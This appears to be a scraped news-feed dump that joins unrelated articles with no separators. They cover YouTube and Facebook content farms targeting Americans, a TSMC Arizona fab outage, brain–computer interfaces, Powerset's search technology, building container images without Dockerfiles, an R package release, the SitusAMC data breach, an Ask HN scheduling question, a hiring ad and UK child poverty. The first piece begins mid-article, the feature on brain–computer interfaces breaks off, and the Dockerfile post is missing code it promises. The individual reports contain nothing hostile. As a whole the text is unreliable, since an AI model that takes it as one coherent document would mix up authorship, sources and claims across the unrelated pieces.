For the most part, the only ‘psyop’ here is one being run on social media users by social media companies themselves in search of getting more ad revenue by any means necessary.
“Where you get $1 on 1,000 views on Pakistani content,” the video begins, “you get $5 to $7 on 1,000 views on USA content.”
“As cricket is seen in Pakistan and India, boxing and MMA are widely seen in America,” he says. Channel ideas include “MMA,” “Who Died Today USA,” “How ships sink,” news from wars, motivational videos, and Reddit story voiceovers. To show you how pervasive this advice to make channels that target Americans is, look at this, which is a YouTube search for “USA Channel Kaise Banaye”:
0:00
/
0:23
Screengrabs from YouTube videos about how to target Americans
One of these videos, called “
7 Secret USA-Based Faceless Channel Ideas for 2026 (High RPM Niches!)
” starts with an explanation of “USA currency,” which details what a dollar is and what a cent is, and its value relative to the rupee, and goes on to explain how to generate English-language content about ancient history, rare cars, and tech news. Another video I watched showed, from scratch, how to create videos for a channel called “
Voices of Auntie Mae
,” which are supposed to be inspirational videos about Black history that are generated using a mix of ChatGPT, Google Translate, an AI voice tool called Speechma, Google’s AI image generator, CapCut, and YouTube. Another shows how to use Bing search, Google News Trends, Perplexity, and video generators to create “
a USA Global News Channel Covering World Events
,” which included making videos about the war in Ukraine and Chinese military parades. A video podcast about success stories included
how a man made a baseball video
called “baseball Tag of the year??? #mlb” in which 49 percent of viewers were in the USA: “People from the USA watch those types of videos, so my brother sitting at home in India easily takes his audience to an American audience,” one of the creators said in the video.
I watched video after video being created by a channel called “
Life in Rural Cambodia
,” about how to create and spam AI-generated content using only your phone. Another video, presented by an
AI-generated woman speaking Hindi
, explains how it is possible to copy paste text from CNN to a Google Doc, run it through a program called “GravityWrite” to alter it slightly, have an AI voice read it, and post the resulting video to YouTube.
A huge and growing amount of the content that we see on the internet is created explicitly because these monetization programs exist. People are making content specifically for Americans. They are not always, or even usually, creating it because they are trying to inflame tensions. They are making it because they can make money from it, and because content viewed by Americans pays the most and performs the best. The guides to making this sort of thing focus entirely on how to make content quickly, easily, and using automated tools. They focus on how to steal content from news outlets, source things from other websites, and generate scripts using AI tools. They do not focus on spreading disinformation or fucking up America, they focus on “making money.” This is a problem that AI has drastically exacerbated, but it is a problem that has wholly been created by social media platforms themselves, and which they seem to have little or no interest in solving.
The new feature on X that exposes this fact is notable because people are actually talking about it, but Facebook and YouTube have had similar features for years, and it has changed nothing. Clicking any random horrific Facebook slop page, such as this one called “
City USA
” which exclusively posts photos of celebrities holding birthday cakes, shows that even though it lists its address as being in New York City, the page is being run by someone in Cambodia. This page called “
Military Aviation
” which lists its address as “Washington DC,” is actually based in Indonesia. This page called “
Modern Guardian
” and which exclusively posts positive, fake AI content about Elon Musk, lists itself as being in Los Angeles but Facebook’s transparency tools say it is based in Cambodia.
Besides journalists and people who feel like they are going crazy looking at this stuff, there are, realistically, no social media users who are going into the “transparency” pages of viral social media accounts to learn where they are based. The problem is not a lack of transparency, because being “transparent” doesn’t actually matter. The only thing revealed by this transparency is that social media companies do not give a fuck about this.
About the author
Jason is a cofounder of 404 Media. He was previously the editor-in-chief of Motherboard. He loves the Freedom of Information Act and surfing.
TSMC Arizona Outage Saw Fab Halt, Apple Wafers Scrapped
A power outage at an industrial gas facility servicing TSMC interrupted manufacturing at the company’s Fab 21 in Arizona late last quarter, sources told me. The incident stopped the flow of crucial inputs needed for chipmaking, forcing the facility to shut down for at least a few hours, I was told. As a result, the company had to scrap thousands of wafers that were in production for clients at the site which include Apple, Nvidia, and AMD.
The event happened mid-September and was caused by a power fault at its
outsourced vendor Linde
, a British industrial gases and engineering company, my sources tell me. TSMC runs a lot of its own gas supply in Taiwan, but opted to contract the work out for its Arizona site. While mistakes happen, and insurance may cover some of the losses from the event, Linde has been put on notice to identify and rectify the cause of the outage, I was told. A PR representative for Linde didn’t answer multiple phone calls and emails from
Culpium
outlining the incident and requesting comment.
Photo:
Culpium
& Adobe Stock
TSMC’s Arizona unit turned profitable in the first quarter of this year, a sign of the Taiwanese company’s ability to quickly scale up and churn out chips even in higher-cost locales like the US. But a 99% drop in net income in the third quarter to just $1.4 million had folks scratching their head. One writer was quick to jump to conclusions, with the
assumption that
“rising costs have taken out an enormous chunk of profits, putting pressure on the firm’s operations.” The September outage, which hasn’t previously been reported, offers an alternative explanation for the profit decline.
“TSMC Arizona has begun to positively contribute to TSMC’s revenue. However, the company’s profit is influenced by multiple factors and should be read over time,” TSMC wrote in response to a detailed account of what
Culpium
has been told about the outage. “We also stated before that the ramp up for our overseas fabs will lead to gross margin dilution in the next five years, starting from 2025.”
Unfortunately, the company declined to immediately address the issue of the manufacturing disruption.
Fab shutdowns are unusual, at least for TSMC. With equipment so expensive, its factories are run 24/7. That means that an hour of idle time can cost millions of dollars. Compounding the financial effect of this incident was the fact that it occurred late in the quarter, leaving little room to make up for lost production before the quarter closed.
Profit margins on new facilities and at new nodes tend to be quite thin, even negative. In addition, TSMC has been ramping up capacity in Arizona and that capex gets reflected in depreciation costs even before the new equipment can start producing revenue. So it’s reasonable to see fluctuations in net income at the site. A halt in production and scrapping of wafers adds to the costs, dragging on earnings even if only slightly and briefly.
Impact to clients is likely to be negligible, I was told, and the financial loss to TSMC may be covered by insurance. Capacity at Fab 21 is still quite small, and many products being made there have already been taped out and manufactured in Taiwan previously. In past disruptions, lost production and revenue was made up in the subsequent quarter.
That said, the broader issue is that Taiwanese manufacturers are good at managing their operations when they handle it themselves, but still face struggles when they need to lean on non-Taiwanese firms at overseas facilities. The entire process of building the fab and installing equipment at Arizona has been
an exercise in cross-cultural adaptation
.
The most common cause of production interruptions at TSMC is Mother Nature. Earthquakes regularly rattle Taiwan, and fabs are built to withstand most of them. But sometimes a big tremor can trigger a safety shutdown, while really nasty temblors have caused actual damage. Beyond natural disasters, there’ve been few man-made shutdowns at TSMC because they’re pretty rigorous about operations.
A couple of notable problems were both caused by vendors, not TSMC internally. In 2018,
a computer virus was introduced
to fabs via equipment from Japan. That incident sparked a whole new approach to cybersecurity both at TSMC and among fellow Taiwanese chipmakers. Less than a year later,
a batch of contaminated photoresist
from a chemical supplier forced the company to scrap a large number of wafers. It made up the production the following quarter, with the problem costing TSMC around $25 million in operating profit for the year.
Sharing is caring. This post is public & free, so please tell your friends what you’re reading.
Linde
trumpeted the TSMC contract
when it landed the deal back in 2021, noting that it planned to invest $600 million into the facility. “While the project is capital and electricity intensive, it will only employ 14 plant employees and 14 truck drivers, documents from 2020 said,” the
Arizona Tech Council later reported
.
Apple’s A16 SoC
was the first product
taped out at the site,
Culpium
reported in September last year.
AMD’s Ryzen 9000
and Nvidia Blackwell chips were since added to the lineup with designs from
Bitdeer
, among others, also qualified at the Arizona fab.
Thanks for reading. Please subscribe, if you haven’t already.
More from Culpium
:
Mind-reading devices can now predict preconscious thoughts: is it time to worry?
Before a car crash in 2008 left her paralysed from the neck down, Nancy Smith enjoyed playing the piano. Years later, Smith started making music again, thanks to an implant that recorded and analysed her brain activity. When she imagined playing an on-screen keyboard, her
brain–computer interface
(BCI) translated her thoughts into keystrokes — and simple melodies, such as ‘Twinkle, Twinkle, Little Star’, rang out
1
.
But there was a twist. For Smith, it seemed as if the piano played itself. “It felt like the keys just automatically hit themselves without me thinking about it,” she said at the time. “It just seemed like it knew the tune, and it just did it on its own.”
Smith’s BCI system, implanted as part of a clinical trial,
trained on her brain signals
as she imagined playing the keyboard. That learning enabled the system to detect her intention to play hundreds of milliseconds before she consciously attempted to do so, says trial leader Richard Andersen, a neuroscientist at the California Institute of Technology in Pasadena.
Smith is one of roughly 90 people who, over the past two decades, have had BCIs implanted to control assistive technologies, such as
computers
,
robotic arms
or
synthetic voice generators
. These volunteers — paralysed by spinal-cord injuries, strokes or neuromuscular disorders, such as motor neuron disease (amyotrophic lateral sclerosis) — have demonstrated how command signals for the body’s muscles, recorded from the brain’s motor cortex as people imagine moving, can be decoded into commands for connected devices.
But Smith, who died of cancer in 2023, was among the first volunteers to have an extra interface implanted in her posterior parietal cortex, a brain region associated with reasoning, attention and planning. Andersen and his team think that by also capturing users’ intentions and pre-motor planning, such ‘dual-implant’ BCIs will improve the performance of prosthetic devices.
Nancy Smith used a brain–computer interface to make music after a car accident left her paralysed from the neck down.
Credit: Caltech
Andersen’s research also illustrates the potential of BCIs that access areas outside the motor cortex. “The surprise was that when we go into the posterior parietal, we can get signals that are mixed together from a large number of areas,” says Andersen. “There’s a wide variety of things that we can decode.”
The ability of these devices to access aspects of a person’s innermost life, including preconscious thought, raises the stakes on
concerns about how to keep neural data private
. It also poses
ethical questions
about how neurotechnologies might shape people’s thoughts and actions — especially when paired with artificial intelligence.
Meanwhile, AI is enhancing the capabilities of wearable consumer products that record signals from outside the brain. Ethicists worry that, left unregulated, these devices could give technology companies access to new and more precise data about people’s internal reactions to online and other content.
Ethicists and BCI developers are now asking how previously inaccessible information should be handled and used. “Whole-brain interfacing is going to be the future,” says Tom Oxley, chief executive of Synchron, a BCI company in New York City. He predicts that the desire to treat psychiatric conditions and other brain disorders will lead to more brain regions being explored. Along the way, he says, AI will continue to improve decoding capabilities and change how these systems serve their users. “It leads you to the final question: how do we make that safe?”
Consumer concerns
Consumer neurotech products capture less-sophisticated data than implanted BCIs do. Unlike implanted BCIs, which rely on the firings of specific collections of neurons, most consumer products rely on electroencephalography (EEG). This measures ripples of electrical activity that arise from the averaged firing of huge neuronal populations and are detectable on the scalp. Rather than being created to capture the best recording possible, consumer devices are designed to be stylish (such as in sleek headbands) or unobtrusive (with electrodes hidden inside headphones or headsets for augmented or virtual reality).
Still, EEG can reveal overall brain states, such as alertness, focus, tiredness and anxiety levels. Companies already offer headsets and software that give customers real-time scores relating to these states, with the intention of helping them to improve their sports performance, meditate more effectively or become more productive, for example.
AI has helped to turn noisy signals from suboptimal recording systems into reliable data, explains Ramses Alcaide, chief executive of Neurable, a neurotech company in Boston, Massachusetts, that specializes in EEG signal processing and sells a headphone-based headset for this purpose. “We’ve made it so that EEG doesn’t suck as much as it used to,” Alcaide says. “Now, it can be used in real-life environments, essentially.”
And there is widespread anticipation that AI will allow further aspects of users’ mental processes to be decoded. For example, Marcello Ienca, a neuroethicist at the Technical University of Munich in Germany, says that EEG can detect small voltage changes in the brain that occur within hundreds of milliseconds of a person perceiving a stimulus. Such signals could reveal how their attention and decision-making relate to that specific stimulus.
Although accurate user numbers are hard to gather, many thousands of enthusiasts are already using neurotech headsets. And ethicists say that a big tech company could suddenly catapult the devices to widespread use. Apple, for example, patented a design for EEG sensors for future use in its Airpods wireless earphones in 2023.
Yet unlike BCIs aimed at the clinic, which are governed by medical regulations and privacy protections, the consumer BCI space has little legal oversight, says David Lyreskog, an ethicist at the University of Oxford, UK. “There’s a wild west when it comes to the regulatory standards,” he says.
In 2018, Ienca and his colleagues found that most consumer BCIs don’t use secure data-sharing channels or implement state-of-the-art privacy technologies
2
. “I believe that has not changed,” Ienca says. What’s more, a 2024 analysis
3
of the data policies of 30 consumer neurotech companies by the Neurorights Foundation, a non-profit organization in New York City, showed that nearly all had complete control over the data users provided. That means most firms can use the information as they please, including selling it.
Responding to such concerns, the government of Chile and the legislators of four US states have passed laws that give direct recordings of any form of nerve activity protected status. But Ienca and Nita Farahany, an ethicist at Duke University in Durham, North Carolina, fear that such laws are insufficient because they focus on the raw data and not on the inferences that companies can make by combining neural information with parallel streams of digital data. Inferences about a person’s mental health, say, or their political allegiances could still be sold to third parties and used to discriminate against or manipulate a person.
“The data economy, in my view, is already quite privacy-violating and cognitive- liberty-violating,” Ienca says. Adding neural data, he says, “is like giving steroids to the existing data economy”.
Several key international bodies, including the United Nations cultural organization
UNESCO
and the
Organisation for Economic Co-operation and Development
, have issued guidelines on these issues. Furthermore, in September, three US senators introduced an act that would require the Federal Trade Commission to review how data from neurotechnology should be protected.
Heading to the clinic
While their development advances at pace, so far no implanted BCI has been approved for general clinical use. Synchron’s device is closest to the clinic. This relatively simple BCI allows users to select on-screen options by imagining moving their foot. Because it is inserted into a blood vessel on the surface of the motor cortex, it doesn’t require neurosurgery. It has proved safe, robust and effective in initial trials
4
, and Oxley says Synchron is discussing a pivotal trial with the US Food and Drug Administration that could lead to clinical approval.
Elon Musk’s neurotech firm Neuralink in Fremont, California,
has surgically implanted
its more complex device in the motor cortices of at least 13 volunteers who are using it to play computer games, for example, and control robotic hands. Company representatives say that more than 10,000 people have joined waiting lists for its clinical trials.
At least five more BCI companies have tested their devices in humans for the first time over the past two years, making short-term recordings (on timescales ranging from minutes to weeks) in people undergoing neurosurgical procedures. Researchers in the field say the first approvals are likely to be for devices in the motor cortex that restore independence to people who have severe paralysis — including BCIs that
enable speech through synthetic voice technology
.
As for what’s next, Farahany says that moving beyond the motor cortex is a widespread goal among BCI developers. “All of them hope to go back further in time in the brain,” she says, “and to get to that subconscious precursor to thought.”
Last year, Andersen’s group published a proof-of-concept study
5
in which internal dialogue was decoded from the parietal cortex of two participants, albeit with an extremely limited vocabulary. The team has also recorded from the parietal cortex while a BCI user played the card game blackjack (pontoon)
6
. Certain neurons responded to the face values of cards, whereas others tracked the cumulative total of a player’s hand. Some even became active when the player decided whether to stick with their current hand or take another card.
Casey Harrell (with his wife Levana Saxon) uses his brain implant to generate synthetic speech.
Credit: Ian Bates/New York Times/Redux/eyevine
Both Oxley and Matt Angle, chief executive of BCI company Paradromics, based in Austin, Texas, agree that BCIs in brain regions other than the motor cortex might one day help to diagnose and treat psychiatric conditions. Maryam Shanechi, an engineer and computer scientist at the University of Southern California in Los Angeles, is working towards this goal — in part by aiming to identify and monitor neural signatures of psychiatric diseases and their symptoms
7
.
BCIs could potentially track such symptoms in a person, deliver stimulation that adjusts neural activity and quantify how the brain responds to that stimulation or other interventions. “That feedback is important, because you want to precisely tailor the therapy to that individual’s own needs,” Shanechi says.
Shanechi does not yet know whether the neural correlates of psychiatric symptoms will be trackable across many brain regions or whether they will require recording from specific brain areas. Either way, a central aspect of her work is building foundation models of brain activity. Such models, constructed by training AI algorithms on thousands of hours of neural data from numerous people, would in theory be generalizable across individuals’ brains.
There’s a lot to say about
Powerset
, the short-lived natural language search company (2005-2008) where I worked after college. AI overhype, flying too close to the sun, the psychology of tech journalism and venture capitalism, etc. A year or two ago I wrote the following bit about Powerset’s technology in response to a question
on Quora
. I’m posting a revised version here.
Question:
What was Powerset’s core innovation in search? As far as I can tell, they licensed an NLP engine. They did not have a question answering system or any system for information extraction. How was Powerset’s search engine different than Google’s?
My answer:
Powerset built a system vaguely like a question-answering system on top of Xerox PARC’s NLP engine. The output is better described as query-focused summarization rather than question answering; primarily, it matched semantic fragments of the user query against indexed semantic relations, with lots of keyword/ngram-matching fallback for when that didn’t work, and tried to highlight matching answers in the result snippets.
The Powerset system indexed semantic relations and entities (the latter often being wordnet/freebase nodes), did a similar analysis on the user query, then formed a database query against that index of semantic relations, synonym/hypernym expansions, and other textual information (e.g. word positions or gender identification). Then with all the rich (complicated) index information, you have neat features for ranking and snippet generation (i.e. query-focused summarization), but it’s so complicated it’s easy to screw up. (And don’t get me started on trying to run a segfault-prone Tcl/Prolog/C parser under an unstable 2006-era Hadoop…)
Here is a diagram I wrote in July 2007
to try to communicate internally what the entire system was doing. As you might imagine, it was difficult to keep everyone on the same page. This diagram only depicts the indexing pipeline; the query-time system would have required another diagram. NLP folks will note some rather surprising technology choices in some places. (Unweighted FST for NER? Yes. In fairness, it was eventually replaced by a statistical tagger. But the company did have >$12 million in funding at this point.)
As to whether this was “different than Google,” sure, I suppose. Certainly no serious search engine was crazy enough to do constituent parses (and unification parses, lexical lookups, coreference, etc.) of all sentences at index time — raising indexing costs, compared to keyword indexing, by perhaps 100x — but Powerset sure did.
It’s worth noting that since then, Google has added much more question-answering and structured information search, presumably using related but different techniques than Powerset used. (And Google even had some simple question-answering back then, as I recall; and, these days it’s said they parse the web all the time, at least for experimental purposes. They now have excellent groups of highly-regarded specialists in parsing, unsupervised lexical semantics, machine translation, etc., which Powerset never did.) And IBM’s Watson project more recently managed to produce a nice factoid question-answering system. In principle, deep semantic analysis of web text could be useful for search (and shallow NLP, like morphology and chunking, perhaps more so); but as the primary thing for a search startup to focus on, it seemed a little extreme.
As to what the “core innovation” was, that’s a loaded question. Was all this stuff useful? Usually I am cynical and say Powerset had no serious innovation for search. But that is just an opinion. Powerset developed some other things that were more user-visible, including a browser of the extracted semantic relations (“Factz” or “Powermouse”), a mostly separate freebase-specific query system (somewhat similar to Google’s recently released Knowledge Graph results), and completely separately, an open-source BigTable clone for index-time infrastructure (HBase, which has been developed quite a bit since then). In general, I found that design/UI engineering people respected Powerset for the frontends, scalability engineers respected Powerset for the HBase contributions, but NLP and IR experts were highly cynical about Powerset’s technology claims. If you get a chance, try asking researchers who were at ACL 2007 in Prague about Barney Pell’s keynote; I am told a number walked out while it was underway.
After the acquisition, Microsoft filed patent applications for all the Powerset-specific proprietary tech. You can read all of them on the USPTO website or wherever; for example,
this page
seems to list them.
Quora stuff: 21 votes by Ian Wong, Joseph Reisinger, William Morgan, Marc Bodnick, Cameron Ellis, Kartik Ayyar, Can Duruk, Brandon Smietana, Ronen Amit, Amit Chaudhary, Dare Obasanjo, Joseph Quattrocchi, Siqi Chen, Tim Converse, Zoltan Varju, Sundeep Yedida, Elliot Turner, Nenshad Bardoliwalla, Mike Mintz, Abhimanyu Gupta, and Nick Kaluzhenkoff
We deleted our Dockerfiles: a better, faster way to build container images
Earlier this year, we shared some
reflections on the limitations
of Dockerfiles and BuildKit (Docker’s internal build engine). We talked to hundreds of teams about their CI/CD pipelines over the last 6 months and consistently see that
docker build
is slowing teams down.
We considered the problems and wondered if the strategies we used to build the
fastest CI/CD platform
could be leveraged to build container images as well. So we gave it a try - converting our Dockerfiles to RWX run definitions and seeing if we could extract container images natively from our own product.
And it worked! Two weeks ago, we deleted the Dockerfile for our application, and we deleted the step in our CI pipelines that previously ran
docker build
:
commit acae90a991fb4b2ecdfcf5c754ebe7169af57c33
Date: Fri Nov 7 18:28:36 2025 -0500
Remove the Dockerfile (#6330)
M .rwx/build-image-rwx.yml
Our container image builds got faster and the configuration became simpler.
In this post, we’re excited to share how we build container images, why it’s faster than building with Dockerfiles and BuildKit, how it has improved our developer experience, and how you can start deleting your Dockerfiles too.
How we build container images on RWX
RWX is a CI/CD platform built around the idea of executing builds as a
graph of cacheable tasks
. Each step in a build pipeline is represented by a task that runs atomically, rather than a series of stateful steps running as a single job tied to a single VM.
We save the filesystem changes from every task to use as input into subsequent tasks. This technique enabled us to package up those filesystem changes as layers in a container image.
In effect, we were already producing container images from every single task in an RWX run definition. And it was exceptionally fast. The thought of building a container image for every single step in a CI pipeline may sound like it’d be far too slow, but we’ve optimized it to happen very quickly.
Now, a Dockerfile that is implemented something like this:
Dockerfile
FROM node:24.11.0-trixie-slim
COPY package.json package-lock.json ./
CMD ["node", "server.js"]
Can be converted to an RWX definition that looks like this:
To prove this out, we implemented endpoints in our Cloud backend that correspond to the
distribution registry endpoints
.
This enabled us to pull container images directly from our Cloud backend, for any step in an entire CI pipeline.
Although you can pull directly via
docker pull
, we shipped an
rwx image pull
command in the CLI to make it even easier.
Why it’s faster than using BuildKit
Distributed, right-sized compute
Docker builds run on a single machine, one step after another. Even when you use multi-stage builds, each stage competes for the same CPU, memory, disk, and network.
And if you need to build multiple variants (different architectures, library versions, etc.) you typically end up running the whole build repeatedly.
RWX takes a different approach. By default, tasks in an RWX run definition (which correspond to individual steps in a Dockerfile) are distributed across multiple machines.
This way, each task can have its own right-sized compute: a task that needs 16 CPUs can claim it, while the next task can run on a smaller machine.
By running on distributed compute by default, we can avoid having an under-provisioned build machine, which inherently can end up being over-utilized or queueing builds.
With a Dockerfile, once you change any layer, you
force a rebuild of every layer
thereafter. Straight from the Docker documentation:
And that's the Docker build cache in a nutshell. Once a layer changes, then all downstream layers need to be rebuilt as well. Even if they wouldn't build anything differently, they still need to re-run.
Rather than having to carefully order the
COPY
statements in a Dockerfile to maintain caching, we can instead copy our whole repository into the image, and then
filter
subsequent command executions.
Here is a common example of a Dockerfile that would have suboptimal caching:
The cache key on RWX is determined by the command and the contents of the source files.
Importantly, any files not specified in the filter will not be present on disk.
This
sandboxing approach
ensures that cache hits will never be a false positive.
Automatic caching from full repository
We also just don’t need to agonize over
properly configuring additional cache control levers
like
--cache-from
and
--cache-to
.
We frequently work directly with engineering organizations of all sizes to help them optimize their CI, and a shocking percentage of the companies we’ve worked with either have their Docker cache misconfigured or haven’t configured one at all.
Many pipelines will also do things like pull images before building, which can help a little bit, but in the case where there is a legitimate cache miss, it’s a waste of time to pull an image that ultimately will not be used.
RWX resolves cache hits seamlessly and automatically in real-time from the contents of the entire container repository; no configured required.
Network is fast, compression is slow
Docker compresses every layer before it is uploaded and decompresses every layer when it is downloaded. This was a great decision in 2013.
But in 2025, cloud networks are substantially faster than compression algorithms. It’s faster to upload 1 gigabyte of data than it is to gzip 1 gigabyte of data.
Compression is also a bad tradeoff because storage is cheap and compute is expensive.
In RWX, we transmit and store all of our layers and cache uncompressed.
Why we love our new developer experience
Context matters
With traditional Dockerfiles, the entire project has to be sent to the builder as a
build context
. For engineering teams with very large code repositories, this can be very slow.
This means that even when leveraging faster remote build machines, a fair amount of time can be spent uploading the repository.
Instead of pushing contents, it’s much faster to use
git clone
on the build machine to pull the code into the image.
While the
git clone
approach could be done with BuildKit, it’s not viable because of the caching mechanics. Individual files need to be added with a
COPY
before the entire repo is put into the image. Otherwise, the entire build will cache miss.
Since filtering on RWX alleviates this concern, you can improve performance by cloning straight into the image rather than pushing build context.
First-class observability
Successful steps in a Docker build don’t output logs to the CLI by default, so interesting logs for a run command that indicate the cause of downstream problems are easily missed.
In RWX, the full logs for every task are preserved and easily accessible regardless of success or failure. We can
leave ourselves rich annotations in our logs
to understand what’s happening.
Although we recommend running all of your CI on RWX,
you can build container images on RWX directly from GitHub Actions by using the
rwx-cloud/build-push-action
.
.github/workflows/rwx.yml
name: Build on RWX and Push to Docker Hub
-uses: actions/checkout@v6
-name: Login to Docker Hub
uses: docker/login-action@v3
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_PASSWORD }}
-uses: rwx-cloud/build-push-action@v1
access-token: ${{ secrets.RWX_ACCESS_TOKEN }}
push-to: docker.io/myusername/myapp:latest
What’s next?
Deleting our Dockerfile may have started as an experiment, but we’ve become convinced that RWX is now the best way to build container images.
We get the benefits of producing container images without slowing down our CI and CD waiting for them to build.
Ultimately, we ship faster while still generating reproducible and portable build artifacts.
Get the latest releases and news about RWX and our ecosystem with our newsletter.
Share this post
Enjoyed this post? Pleas share it on your favorite social network!
Dirk Eddelbuettel: RcppQuantuccia 0.1.3 on CRAN: Micro Maintenance
PlanetDebian
dirk.eddelbuettel.com
2025-11-24 18:22:00
A minor release of RcppQuantuccia
arrived on CRAN moments ago. RcppQuantuccia
started from the Quantuccia header-only
subset / variant of QuantLib which it
brings it to R. This project
validated the idea of making the calendaring functionality of QuantLib available in a
more compact and standalone p...
A minor release of
RcppQuantuccia
arrived on
CRAN
moments ago.
RcppQuantuccia
started from the
Quantuccia
header-only
subset / variant of
QuantLib
which it
brings it to
R
. This project
validated the idea of making the calendaring functionality of
QuantLib
available in a
more compact and standalone project – which we now do with
qlcal
which can be seen as a
successor package to this earlier package.
qlcal
tracks
QuantLib
(releases)
closely and provides approximately quarterly updates. Switching to using
qlcal
is generally
recommended.
This release, the first in almost exactly two years, only updates
internals (as detailed below). Notably it switches to ‘Authors@R’ to
avoid a nag from
CRAN
on two
platforms. The complete list changes for this release follows.
Changes in version 0.1.3
(2025-11-24)
A badge URL and link have been updated in README.md
The continuous integration sript switched first to r-ci-setup and
then to the r-ci action with embedded setup
cool-retro-term is a terminal emulator which mimics the look and feel of the old cathode tube screens.
It has been designed to be eye-candy, customizable, and reasonably lightweight.
Real-estate finance services giant SitusAMC breach exposes client data
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 17:36:28
SitusAMC, a company that provides back-end services for top banks and lenders, disclosed on Saturday a data breach it had discovered earlier this month that impacted customer data. [...]...
SitusAMC, a company that provides back-end services for top banks and lenders, disclosed on Saturday a data breach it had discovered earlier this month that impacted customer data.
As a real-estate (commercial and residential) financing firm, SitusAMC handles back-office operations in areas like mortgage origination, servicing, and compliance for banks and investors.
The company generates around $1 billion in annual revenue from 1,500 clients, some of whom are banking giants like Citi, Morgan Stanley, and JPMorgan Chase.
While investigations with the help of external experts are ongoing, the company underlined that business operations haven't been affected and no encrypting malware was deployed on its systems.
SitusAMC stated that data from some of its clients, as well as their customers' data, were compromised as a result of the breach, though it didn't name any companies.
"On November 12, 2025, SitusAMC became aware of an incident that we have now determined resulted in certain information from our systems being compromised,"
reads the statement
.
"Corporate data associated with certain of our clients' relationship with SitusAMC such as accounting records and legal agreements has been impacted. Certain data relating to some of our clients' customers may also have been impacted." SitusAMC promised to provide further updates as the investigation progresses.
In a statement to BleepingComputer, the company CEO said that SitusAMC is fully operational and clients are contacted directly about the incident.
"We are in direct contact with our clients about this matter. We remain focused on analyzing any potentially affected data and will provide updates directly to our clients as our investigation progresses" - Michael Franco, SitusAMC CEO
While SitusAMC received a security alert related to the incident on November 12, the company determined three days later that it was a breach and started to inform its residential customers on November 16 that it was investigating the attack.
The company continued to deliver updates to these customers and contacted those impacted by the breach individually up to November 22, when it notified all its clients and confirmed that data was stolen in the attack.
Due to the complexity of operations and data involved, it is unclear how many customers are impacted, and determining all of them will take a while.
BleepingComputer has contacted Citi, Morgan Stanley, and JPMorgan Chase to ask if SitusAMC notified them of a data breach and if their clients' data was compromised. A comment was not immediately available from any of the organizations.
If you have any information regarding this incident or any other undisclosed attacks, you can contact us confidentially via Signal at
646-961-3731
or at
tips@bleepingcomputer.com
.
It's budget season! Over 300 CISOs and security leaders have shared how they're planning, spending, and prioritizing for the year ahead. This report compiles their insights, allowing readers to benchmark strategies, identify emerging trends, and compare their priorities as they head into 2026.
Learn how top leaders are turning investment into measurable impact.
Ask HN: Scheduling stateful nodes when MMAP makes memory accounting a lie
We’re hitting a classic distributed systems wall and I’m looking for war stories or "least worst" practices.
The Context: We maintain a distributed stateful engine (think search/analytics). The architecture is standard: a Control Plane (Coordinator) assigns data segments to Worker Nodes. The workload involves heavy use of mmap and lazy loading for large datasets.
The Incident: We had a cascading failure where the Coordinator got stuck in a loop, DDOS-ing a specific node.
The Signal: Coordinator sees Node A has significantly fewer rows (logical count) than the cluster average. It flags Node A as "underutilized."
The Action: Coordinator attempts to rebalance/load new segments onto Node A.
The Reality: Node A is actually sitting at 197GB RAM usage (near OOM). The data on it happens to be extremely wide (fat rows, huge blobs), so its logical row count is low, but physical footprint is massive.
The Loop: Node A rejects the load (or times out). The Coordinator ignores the backpressure, sees the low row count again, and retries immediately.
The Core Problem: We are trying to write a "God Equation" for our load balancer. We started with row_count, which failed. We looked at disk usage, but that doesn't correlate with RAM because of lazy loading.
Now we are staring at mmap. Because the OS manages the page cache, the application-level RSS is noisy and doesn't strictly reflect "required" memory vs "reclaimable" cache.
The Question: Attempting to enumerate every resource variable (CPU, IOPS, RSS, Disk, logical count) into a single scoring function feels like an NP-hard trap.
How do you handle placement in systems where memory usage is opaque/dynamic?
Dumb Coordinator, Smart Nodes: Should we just let the Coordinator blind-fire based on disk space, and rely 100% on the Node to return hard 429 Too Many Requests based on local pressure?
Cost Estimation: Do we try to build a synthetic "cost model" per segment (e.g., predicted memory footprint) and schedule based on credits, ignoring actual OS metrics?
Control Plane Decoupling: Separate storage balancing (disk) from query balancing (mem)?
Feels like we are reinventing the wheel. References to papers or similar architecture post-mortems appreciated.
Corvus Robotics (YC S18): Hiring Head of Mfg/Ops, Next Door to YC Mountain View
Corvus Robotics is scaling the largest autonomous logistics data capture fleet ever built. If you're allergic to leaded solder, actual revenue, spreadsheets, or ambiguity -- this role is not for you. More "cardboard boxes," less "Pelican cases."
Our fleet of flying warehouse drones is 5x-ing in 2026, and I'm looking for a generalist ex-founder or manufacturing leader in the SF Bay Area who wants to get their hands dirty massively scaling manufacturing operations in the US and overseas.
We need someone who has worked on hardware products (not just SaaS), communicates clearly, and is relentlessly resourceful. Mandarin proficiency and leading a product through EVT/DVT/PVT is an added bonus.
If this resonates with you, DM me, or send a super short email to a@ our url with:
- why you’re interested
- what was the biggest manufacturing fuckup you've recovered from
- your target comp
Thea Jaffe never expected to use a baby
bank
. In fact, she was responsible for referring other single parents from her local community group to the charity
Little Village
, which provides essential supplies for new parents who otherwise wouldn’t be able to afford them – everything from strollers and cots to clothes, diapers, toys and books.
But when Jaffe, who lives in
London
, became pregnant unexpectedly with her second child, she couldn’t
afford
to buy everything she needed. “It’s so overwhelming having to accommodate a baby with no budget,” she told CNN.
“I was already struggling financially… but I didn’t know how bad things were going to get… Now things are at a point where I’m working full time, and I cannot pay my bills.”
Child poverty has reached a record high in the United Kingdom as the country’s cost of living soars and its social security safety net falters following years of government austerity. With public services much weakened, charities like Little Village have stepped in.
The issue is firmly under the spotlight this week as campaign groups call on Britain’s Labour government to prioritize measures to reduce child poverty in its annual budget, which will be unveiled on Wednesday.
Around one-third of Britain’s children – about 4.5 million – now live in relative poverty, often measured as living in a household that earns below 60% of the national median income after housing costs, a government
report
published in April found.
One million of these children are destitute, going without their most basic needs of staying warm, dry, clothed and fed being met, according to a 2023 study by the
Joseph Rowntree Foundation
, which studies poverty and formulates policy to tackle it.
“We came across one family that were just existing on cornflakes and rice,” Little Village chief executive Sophie Livingstone told CNN.
“We have lots of families who are in one room, lots of mold, lots of very poor-quality housing even when people are housed,” she added.
Even for families that are able to meet their children’s basic needs, life is a month-to-month struggle, without any financial security.
“You just live in fear all the time and that’s not a fun place to be when you’ve got children relying on you,” Lia, a single mother to 7-year-old twin girls, told CNN after being connected through the Changing Realities Project, which documents parents living on low incomes. She asked to use a pseudonym to protect her family’s privacy.
